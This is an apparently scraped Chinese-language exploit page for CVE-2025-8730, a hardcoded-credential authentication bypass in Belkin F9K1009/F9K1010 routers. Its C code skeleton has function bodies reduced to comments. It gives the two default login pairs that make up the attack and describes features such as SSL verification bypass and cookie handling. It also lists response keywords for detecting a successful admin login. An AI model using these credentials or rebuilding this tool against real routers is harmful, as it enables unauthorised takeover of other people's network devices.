Belkin F9K1009 F9K1010 2.00.04/2.00.09 硬编码凭证漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

/*
 * 标题：贝尔金F9K1009 F9K1010 2.00.04/2.00.09 - 硬编码凭证漏洞
 * 作者：Byte Reaper
 * CVE编号：CVE-2025-8730
 * 描述：演示贝尔金F9K1009和F9K1010路由器Web界面中
 *       身份验证绕过漏洞的利用代码。该漏洞存在于不当的会话验证逻辑中，
 *       允许远程攻击者无需提供有效凭证即可获取管理面板的未授权访问。
 */

#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include "argparse.h"
#include <stdlib.h>
#include <time.h>
#include <errno.h>

1
2
3
4
5
6

void detectDeviceType(const char *routerIp)
{
    // 通过HTTP请求识别设备型号（F9K1009或F9K1010）
    // 发送请求到路由器IP并分析响应内容
    // 支持超时设置和延迟执行
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

void credentialsRequest(const char *routerIp)
{
    // 尝试使用硬编码凭证进行身份验证
    // 支持两种默认凭证组合：
    // 1. admin/admin
    // 2. 00E0A6-111/00E0A6-111
    
    // 功能特性：
    // - 支持自定义完整URL路径
    // - Cookie文件支持
    // - 详细模式输出
    // - SSL验证绕过
    // - 重定向跟踪
    // - 响应内容分析
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

const char *wordLogin[] = 
{
    "login_success",
    "Welcome",
    "Dashboard",
    "admin panel",
    "Set-Cookie",
    "Authorization",
    "token",
    "sessionid",
    "redirect",
    "access granted",
    "authenticated",
    "user authenticated",
    "login ok",
    "login complete",
    "login status=success",
    "login=1",
    "auth=1",
    "valid credentials",
    "home.htm",
    "main.htm",
    "index.htm",
    "config.htm",
    "firmware.htm",
    "admin.htm",
    NULL
};